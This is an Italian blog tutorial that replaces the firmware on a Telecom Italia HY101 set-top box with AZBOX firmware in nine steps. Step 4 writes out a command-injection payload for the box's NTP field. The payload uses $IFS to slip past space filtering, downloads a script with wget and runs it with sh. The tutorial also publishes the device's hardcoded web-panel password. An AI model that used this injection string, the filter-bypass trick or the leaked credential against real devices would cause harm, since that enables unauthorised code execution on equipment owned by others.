intermediate - hacking STB HY101 - replace firmware PDF Stampa E-mail
Scritto da Blac]{out   
Lunedì 24 Maggio 2010 19:25

Ecco come in 9 comodi passaggi possiamo sostituire il firmware originale di Telec*m con un altro firmware. Vi ricordo che:

  1. non mi assumo alcuna responsabilità per brick del dispositivo
  2. se il dispositivo è in comodato d'uso rischiate di dover pagare successivamente
  3. lo scopo è puramente educativo

Il firmware che sarà installato è AZBOX

 

 

Let's Rock!

Passo 1 - demone dhcp : innanzi tutto dobbiamo installare il demone DHCP

l'STB si piglia l'ip in dhcp (amen)

apt-get install udhcpd

lo configuriamo in questo modo
/--
start 83.221.117.228
end 83.221.117.234
interface eth0
subnet 255.0.0.0
max_leases 7
--/

Passo 2 - settiamo la scheda eth0

sudo ifconfig eth0 83.221.117.229 netmask 255.0.0.0

Passo 3 - ci colleghiamo all STB

http://{IP-STB}:1980 e inseriamo la password: t30d0r1c0

Passo 4 - inseririamo la stringa in NTP

pool.ntp.org;$(cd$IFS/tmp;/usr/bin/wget$IFS\http://83.221.117.229/script.sh;/bin/sh$IFS/tmp/script.sh)

Passo 5 - avviamo apache2

e scompattiamo nella root di apache (di solito /var/www) il file azbox_flasher.tar.gz

Passo 6 - ci colleghiamo con telnet all'STB

telnet {IP-STB}

Passo 7 - facciamo partire i comandi

./azbox_variables.sh (inizializza e crea una copia di backup)
./azbox_kernel.sh (flasha il kernel nuovo)
possiamo anche uscire da telnet

Passo 8 - pendrive usb con firmware

fatto questo pigliamo una pendrive usb > 128mb e la formattiamo ext2
sudo cfdisk /dev/sdX
creiamo il filesystem
sudo mkfs.ext2 /dev/sdX1
scompattiamo il file col firmware dentro la pendrive
cd /media/{PENDRIVE}
sudo tar xjvf usb-root-0.9.1314-20090528_1202.tar.bz2

Passo 9 - inseriamo la pendrive

.. appena creata nella USB2 del STB e riavviamo quest'ultimo tenendo premutl il tasto "alice"

 

Enjoy!

 

--

ATTENZIONE

  • non funziona l'HD
  • non funziona la presa scart (dovrete usare gli spinotti audio e s-video
  • non funziona la presa audio ottica
  • non funziona il DDT

In alternativa molti si fanno diverse "pendrive", installando il firmware di mamma Telec*m 1.8.x si abilita la visione del DDT (e solo quella). Purtroppo ancora è in fase di studio.

ACKNOWLEGMENT

Si ringrazia Orrione e ilpuntotecnicoeadsl (Roleo,Zibri,.. e tutti gli altri hackers) per gli spunti.

UPDATE

Nel prossimo update inserisco i links ai file.

Ultimo aggiornamento Lunedì 24 Maggio 2010 19:41